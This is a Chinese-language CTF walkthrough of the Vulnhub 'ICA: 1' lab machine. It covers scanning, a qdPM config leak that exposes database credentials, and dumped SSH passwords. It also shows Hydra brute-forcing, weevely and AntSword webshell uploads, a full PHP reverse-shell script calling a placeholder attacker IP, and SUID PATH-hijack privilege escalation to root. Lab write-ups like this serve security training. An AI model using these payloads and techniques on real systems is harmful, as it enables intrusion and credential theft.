首页 > 其他分享 >Vulnhub-ICA01

Vulnhub-ICA01

时间:2024-07-12 09:09:41浏览次数:5  
标签:11 文件 http 192.168 密码 Vulnhub root ICA01

简介

  • 名称:ICA: 1

  • 发布日期:2021 年 9 月 25 日

  • 难度:容易

  • 描述:根据我们情报网络的信息,ICA 正在开展一个秘密项目。我们需要弄清楚这个项目是什么。获得访问信息后,请将其发送给我们。我们稍后会放置一个后门来访问系统。您只需关注项目是什么。您可能必须通过几层安全性。原子能机构对您将成功完成这项任务充满信心。祝你好运,代理!

  • 下载地址https://www.vulnhub.com/entry/ica-1,748/

  • kali攻击机ip:192.168.1.4

  • 靶机地址:192.168.1.32

一、信息收集

1.使用arp-scan对靶机IP进行扫描

image

2.使用nmap对目标靶机进行端口扫描

nmap -p 1-65535 192.168.1.32

开放了22,80,3306,33060

image

3.使用dirsearch对目标靶机进行目录扫描

dirsearch -u http://192.168.1.32/

image

[11:09:37] 301 -  309B  - /js  ->  http://192.168.1.32/js/                  
[11:10:27] 200 -  406B  - /backups/                                         
[11:10:27] 301 -  314B  - /backups  ->  http://192.168.1.32/backups/        
[11:10:33] 200 -    0B  - /check.php                                        
[11:10:39] 301 -  311B  - /core  ->  http://192.168.1.32/core/              
[11:10:40] 301 -  310B  - /css  ->  http://192.168.1.32/css/                
[11:10:49] 200 -  894B  - /favicon.ico                                      
[11:10:56] 301 -  313B  - /images  ->  http://192.168.1.32/images/          
[11:10:56] 200 -  639B  - /images/
[11:10:57] 200 -    2KB - /index.php                                                                   
[11:10:58] 301 -  314B  - /install  ->  http://192.168.1.32/install/        
[11:10:59] 200 -  764B  - /install/index.php?upgrade/                       
[11:10:59] 200 -  764B  - /install/                                         
[11:11:00] 301 -  317B  - /javascript  ->  http://192.168.1.32/javascript/  
[11:11:01] 200 -  576B  - /js/                                              
[11:11:10] 200 -  208B  - /manual/index.html                                
[11:11:10] 301 -  313B  - /manual  ->  http://192.168.1.32/manual/
[11:11:37] 200 -  338B  - /readme.txt                                       
[11:11:39] 200 -   26B  - /robots.txt                                       
[11:11:58] 200 -  487B  - /template/                                        
[11:12:04] 200 -  471B  - /uploads/                                         

apache

image

index of

image

网站安装目录

image

二、历史漏洞利用

1.使用searchsploit查找qdPM框架历史漏洞

qdPM 9.2 - Cross-site Request Forgery (CSRF)

跨站请求伪造(CSRF)

在CSRF攻击中,攻击者通常构建一个恶意的URL,这个URL内嵌了一个请求,当受害者点击时,他们的浏览器会自动包含任何相关的cookies或认证信息,并将请求发送到目标网站。例如,攻击者可以创建一个链接,当用户点击后,会向qdPM服务器发送一个修改密码的请求,如果用户当时已经登录了qdPM,那么这个请求就会以用户的身份被执行,从而导致密码被更改。

qdPM 9.2 - Password Exposure (Unauthenticated)

密码暴露(未认证访问)

如果存在未认证的密码暴露漏洞,攻击者可能无需认证就能访问存储在数据库中的密码或通过网络传输的密码。这可能是因为qdPM以明文形式存储密码,或者在传输过程中没有使用加密,使得中间人(MITM)攻击成为可能,攻击者能够截获并阅读密码数据。

image

使用find,cat命令查看历史漏洞利用信息

image

漏洞详情

漏洞说明

qdPM 9.2中数据库的连接字符串和密码被存储在一个YAML文件中。通常,这种敏感信息应当被严格保护,但在该版本中,可以通过直接访问http://<website>/core/config/databases.yml来下载并查看此文件的内容。这意味着任何人都可以在不知道任何认证凭据的情况下访问和下载包含数据库连接详细信息的配置文件。

wget http://192.168.11.177/core/config/databases.yml 下载yml文件

image

image

username: qdpmadmin

password: UcVQCMQk2STVeS6J

2.Navicat连接mysql数据库

image

mysql数据库+qdpm网站数据库+staff员工数据库

image

staff表

员工SSH登录账号

image

员工SSH登录密码

image

密码base64解码

Smith

suRJAdGwLp8dy3rF

Lucas

7ZwV4qtg42cmUXGX

Travis

X7MQkP3W29fewHdC

Dexter

DJceVy98W28Y7wLg

Meyer

cqNnBWCByS2DuJSy

通过staff的数据对ssh进行爆破——使用Hydra

hydra(九头蛇)是著名黑客组织thc的一款开源的暴力破解密码工具,功能非常强大,kali下是默认安装的,几乎支持所有协议的在线破解。密码能否破解,在于字典是否强大。

这里一定要注意将账号全部改小写,将账号、密码分别保存到两个文件

多线程分析命令

hydra -L /home/kali/桌面/user -P /home/kali/桌面/passwd -t 2 -vV -e ns 192.168.1.32 ssh

image

login: travis password: DJceVy98W28Y7wLg
login: dexter password: 7ZwV4qtg42cmUXGX

xftp连接——travis有一个flag,dexter有一个文件

image

image

ICA{Secret_Project}

image

存在一个note文件,内容如下

image

image

qdpm表

打开configuration表可以看到网站登录的账号密码,密码加密,无法直接登录。

要清楚加密方式,才可以解密

image

加密识别

方法1:这个网站密码加密方式未知,可以下载网站源码,放notepad找加密文件,了解对应的加密方式,具体流程可以参考服务器取证的题目。

方法2:网上查了一下,qdpm现在使用的是一种叫phpass的加密技术,也叫做wordpress(MD5)

image

  • 谈谈常见的加密和哈希值表示法:
    
    - "$P$" 通常表示经过 PHPass 工具加密的密码哈希值。
    
    - "{MD5}" 表示该字符串是 MD5 哈希值。
    
    - "{SHA1}" 表示该字符串是 SHA-1 哈希值。 
    
    - "{SSHA}" 表示该字符串是 Salted SHA-1 哈希值。
    
    - "$2a$" 表示该字符串是经过 Bcrypt 工具加密的密码哈希值。
    
    - "$2y$" 也表示经过 Bcrypt 加密的密码哈希。
    
    - "$5$" 表示经过 SHA-256 加密的密码哈希。
    
    - "$6$" 表示经过 SHA-512 加密的密码哈希。
    

方法3:也可以用在线识别网站判断加密方式——https://hashes.com/en/tools/hash_identifier

image

方法4:也可以使用hash-identifie:https://gitlab.com/kalilinux/packages/hash-identifier/-/tree/kali/master

hash-identifie是一个非常容易使用的 Python 工具,当你输入一个哈希值时,它会告诉你这个哈希值最有可能是什么哈希类型,将一系列哈希类型按可能性进行降序排列。

你可以使用以下方法从 gitlab 中提取hash-identifie的python 文件进行工具安装:

wget https://gitlab.com/kalilinux/packages/hash-identifier/-/raw/kali/master/hash-id.py

image

密码破解

在kali自带的John the Ripper工具里支持对phpass加密密码的破解

John the Ripper支持7种哈希类型密码破解,分别是bcrypt、descrypt 、sha512crypt、Drupal7、sha256crypt、md5cryp 与 phpass

我们把密码拷贝出来,存在攻击机的一个文件里
使用john尝试破解:john 文件路径 --wordlist=/usr/share/wordlists/rockyou.txt

不过我电脑都快跑冒烟了都没解出来

image

image

只能重新设置密码,加密后覆盖原密码

另外也可以用python调用phpass进行解密

from passlib.hash import phpass

\# 加密

password = "ABCDEF"

hashed_password = phpass.hash(password)

print(hashed_password)

\# 验证

if phpass.verify(password, hashed_password):

  print("Password matched")

else:

  print("Password did not match")


http://web.chacuo.net/safewordpress

这个网站也可以生成

image

密码:$P$BFHXrjZhxiaw7s1qSMm2xePeFsvz5L.

image

[email protected]/123456 登录成功

image

三、文件上传

继续拿权限——添加用户,尝试上传php文件和图片文件的一句话木马,但是网站有过滤

添加一个自己的账号,给予管理员权限

image

用增加的用户登录

项目——新建项目——添加附件——上传木马

方法一:weevely

weevely生成php木马

weevely generate 密码 ./木马名称.php

上传网站

image

文件上传路径可以通过前面信息收集到的目录查找到——Index of

http://192.168.1.32/uploads/attachments/

image

image

方法二:蚁剑连接一句话木马

后面发现不管哪个地方上传都是在/uploads/attachments/目录下

这里是通过添加备注上传一句话木马,蚁剑连接即可

image

image

方法三:反弹shell,nc监听

利用文件上传漏洞进行反弹shell是一种常见的渗透测试技术,主要用于在目标服务器上获得一个交互式的shell。以下是在Kali Linux中,通过上传PHP文件来实现反弹shell的步骤:

前提条件

  • Kali Linux
  • 网络访问至目标服务器
  • 已经发现并验证了目标服务器的文件上传漏洞

步骤

  1. 准备反弹shell的PHP代码
    创建一个PHP文件,该文件将在被访问时尝试与你的Kali机器建立TCP连接。你可以使用以下代码模板(将YOUR_IP替换为你的Kali Linux的IP地址,将YOUR_PORT替换为你选择的监听端口):

    <?php
    $ip = 'YOUR_IP';
    $port = YOUR_PORT;
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/sh -i';
    
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
        $msg = "Now exiting...\n";
        echo $msg;
        exit;
    }
    
    fwrite($sock, "$shell\n");
    
    while (!feof($sock)) {
        if (feof($write_a)) {
            fwrite($sock, "\n");
            continue;
        }
        $read_a = fread($sock, $chunk_size);
        if (strlen($read_a) == 0) {
            break;
        }
        fwrite($write_a, $read_a);
    }
    
    fclose($write_a);
    fclose($read_a);
    fclose($error_a);
    ?>
    

    将这个代码保存为一个.php文件,例如revshell.php

  2. 设置监听端口
    在Kali Linux上,使用nc(netcat)或ncat(nmap的扩展)命令来监听指定的端口。例如,监听4444端口:

    nc -lvnp 4444
    

    或者使用ncat

    ncat -lvnp 4444
    
  3. 上传PHP文件
    使用已知的文件上传漏洞将revshell.php上传到目标服务器的web可访问目录中。这通常通过Web应用程序的文件上传功能完成,具体方法取决于目标应用的上传机制。

  4. 触发反弹shell
    通过访问你上传的PHP文件的URL来触发反弹shell。例如,如果文件上传到了http://target-server/path/to/uploadedfile.php,就在浏览器中访问该URL或通过curl访问:

    curl http://target-server/path/to/uploadedfile.php
    
  5. 接收shell
    在Kali Linux上,你应该能看到一个shell出现在ncncat的监听端口中。现在,你就可以与目标服务器进行交互了。

image

image

image

升级会话

使用python -c 'import pty; pty.spawn("/bin/bash")'升级会话

这个命令在Python中启动一个交互式的bash shell会话,其中使用了Python的pty模块。

这种技术常被用于远程控制场景,例如在SSH连接中,或者在自动化脚本中需要模拟用户交互的场景。此外,它也被黑客用于在成功获得初步权限后,提升为更完整的shell访问,尤其是在渗透测试或红队活动中。

image

四、提权

这里建议使用反弹shell连接,上面的方法1,2均为webshell,权限较低,无法执行更改命令

find / -perm -u=s 2>&1 | grep -v "Permission denied"

这条命令的目的是列出系统中所有设置了Set-UID权限的文件,同时排除了因权限不足而产生的错误信息。这在系统管理、安全审计或查找潜在的安全漏洞时非常有用

1.找到可疑文件get_access

image

strings /opt/get_access

尝试读取该文件的字符内容,发现setuid字样,及cat读取root路径下文件的语句。猜测该程序先设置了UID,之后调用cat读取文件。可以考虑通过替换cat提权。

image

2.更改环境变量

执行get_access提权

cd /tmp
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH
/opt/get_access

image

3.找到Flag

root@debian:/root# ls
ls
root.txt system.info
root@debian:/root# more root.txt
more root.txt
ICA{Next_Generation_Self_Renewable_Genetics}
root@debian:/# cd /home
cd /home
root@debian:/home# ls
ls
dexter travis
root@debian:/home# cd travis
cd travis
root@debian:/home/travis# ls
ls
user.txt
root@debian:/home/travis# more user.txt
more user.txt
ICA{Secret_Project}ICA

三个flag已找到

总结

1.这次靶场先从信息收集入手,获取网站端口,目录等信息

2.对80网站利用框架漏洞进行渗透,获取Mysql数据库账密,再通过3306端口连接数据库,得到网站和SSH连接的账号密码,再通过密码爆破和密码MD5解密成功连上SSH和登录网站,找到一个flag

3.网站上传了三种木马,最后反弹shell到攻击机上执行命令

4.通过SSH的文件提示知道提权文件的利用方式,即ICA提权,获取了root权限,找到了最后的两个flag

标签:11,文件,http,192.168,密码,Vulnhub,root,ICA01
From: https://www.cnblogs.com/yanke-wolf/p/18297480

相关文章

  • vulnhub靶机网卡配置问题
    vulnhub靶机网卡配置问题靶机来源——ICA-1vulnhub下载地址:https://www.vulnhub.com/entry/ica-1,748/描述:debian系统(linux)1.3GB下载的是OVA文件,导入虚拟机进行NAT网络配置,可以全局访问用kali攻击机arp-scan探测不到ip,应该是debian网卡配置问题,没有分配到ip正常......
  • Vulnhub靶场DC-6练习
    目录0x00准备0x01主机信息收集0x02站点信息收集1.wordpress扫描2.wordlists字典爆破0x03漏洞查找与利用1.漏洞查找2.CVE-2018-15877漏洞利用3.反弹shell5.nmap提权0x04总结0x00准备下载链接:https://download.vulnhub.com/dc/DC-6.zip介绍:CLUEOK,th......
  • vulnhub - JIS-CTF
    vulnhub-JIS-CTF这个靶场一共有5个flag信息收集靶机ip:192.168.157.172kaliip:192.168.157.161nmap192.168.157.0/24nmap-sT--min-rate10000-p-192.168.157.172sudonmap-sT-sV-sC-O-p22,80192.168.157.172一眼看到robots.txtUser-agent:*Disallow:/D......
  • vulnhub--IMF
    环境攻击机:192.168.96.4靶机:ip未知主机探测确定靶机ip为32的主机端口扫描访问80端口外围打点在contact.php页面源码中找到了flag1之后没啥突破但查看网络后发现contact.php页面请求的三个js文件的文件名很有特点,猜测是base64编码对其进行拼接发现是flag2 对fla......
  • vulnhub--CTF01
    环境渗透攻击机:192.168.96.4靶机CTF01:ip未知主机探测fscan命令1for/l%iin(1,1,255)[email protected].%i-w1-n1|find/i"ttl"ARPnetdiscover-ieth0综上结果,确定了靶机的ip为192.168.96.31端口探测端口探测主要使用nmap、fscan、goby等工具敏......
  • vulnhub - LAMPSECURITY: CTF5
    vulnhub-LAMPSECURITY:CTF5信息收集端口扫描nmap-sT--min-rate10000-p-192.168.157.164详细扫描sudonmap-sT-sC-sV-O-p22,25,80,110,111,139,143,445,901,3306,44699192.168.157.164漏洞探测sudonmap--script=vulnp22,25,80,110,111,139,143,445,901......
  • vulnhub - BREACH: 1
    vulnhub-BREACH:1描述作为多部分系列中的第一部分,Breach1.0旨在成为初学者到中级的boot2root/CTF挑战。解决将需要可靠的信息收集和持久性相结合。不遗余力。VM配置了静态IP地址(192.168.110.140),因此您需要将主机专用适配器配置到此子网。非常感谢knightmare和......
  • vulnhub - hackme1
    vulnhub-hackme1信息收集端口扫描详细扫描目录扫描跟漏洞探测没发现什么可用信息,除了登录还有一个uploads目录应该是进入后台之后才能使用web主页是个登录注册页面,爆了一下admin没进去,随便注册个账户登入SQL注入点击search按钮发现是个书本目录,这个结构很容易想到sql......
  • VulnHub - breach系列:breach-2.1
    VulnHub-breach系列:breach-2.1靶机描述Breach2.0是多部分系列中的第二部分,是一项boot2root/CTF挑战,旨在展示真实场景,沿途充满了曲折和恶作剧。VM配置了静态IP(192.168.110.151),因此您需要将主机适配器配置到此子网。抱歉!最后一个使用静态IP......
  • Vulnhub靶场:NAPPING: 1.0.1
    1.环境搭建靶机下载:Napping:1.0.1~VulnHub将靶机导入到OracleVMVirtualBox中,网络设置仅主机模式,和kali使用相同的网卡开启靶机2.渗透过程使用nmap工具扫描进行主机发现扫描nmap-sn192.168.56.0/24发现靶机ip地址,使用nmap工具进行端口扫描nmap-sS192.16......